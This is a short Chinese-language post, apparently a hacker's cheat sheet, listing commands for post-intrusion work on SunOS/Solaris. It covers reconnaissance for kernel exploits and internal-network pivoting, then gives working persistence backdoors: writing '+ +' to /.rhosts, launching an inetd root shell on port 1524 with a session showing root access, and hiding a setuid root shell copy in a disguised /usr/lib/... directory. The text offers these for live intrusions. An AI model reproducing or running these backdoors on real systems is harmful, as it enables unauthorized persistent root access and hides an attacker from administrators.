这里只提示具体指令及相关功能,具体在实战中的利用由各位自己去摸索,有任何问题可以留言这里我的讲解侧重SUNOS,其他UNIX系统大同小异

1,uname -a 这个不用多说了 查看内核版本,找对应EXP吧

2,cat /etc/release 同上~不过对SUNOS来说可以查看SunOS 和对应的Solaris版本

3,ls -al 看看用户目录下有没有.rhosts文件,看看有没有以前的入侵者

4,ps –ef 查看进程

5,netstat -an|grep LISTEN 查看有没有可以端口

6,cat /etc/hosts 查看本机的内部网络 为内网渗透做准备

7,echo “+ +” >/.rhosts 


echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x 

/usr/sbin/inetd -s /tmp/.x 

rm -f /tmp/.x 

telnet localhost 1524 

Trying 127.0.0.1... 

Connected to localhost. Escape character is '^]'. 

# id

ksh: id^M: not found 

# id; 

uid=0(root) gid=0(root) 

ksh: ^M: not found 

# exit; 

Connection closed by foreign host.

Exit  

简单的Telnet后门

8,有时用Gcc编译EXP时出错可以挂上nsl和socket库再试试

gcc -o exp exp.c -lsocket -lnsl

9,suid root shell:

mkdir /usr/lib/...    

cp /bin/ksh /usr/lib/.../.x

chmod +s /usr/lib/.../.x

exit

以任意用户登录:$ /usr/lib/.../.x

本文持续更新......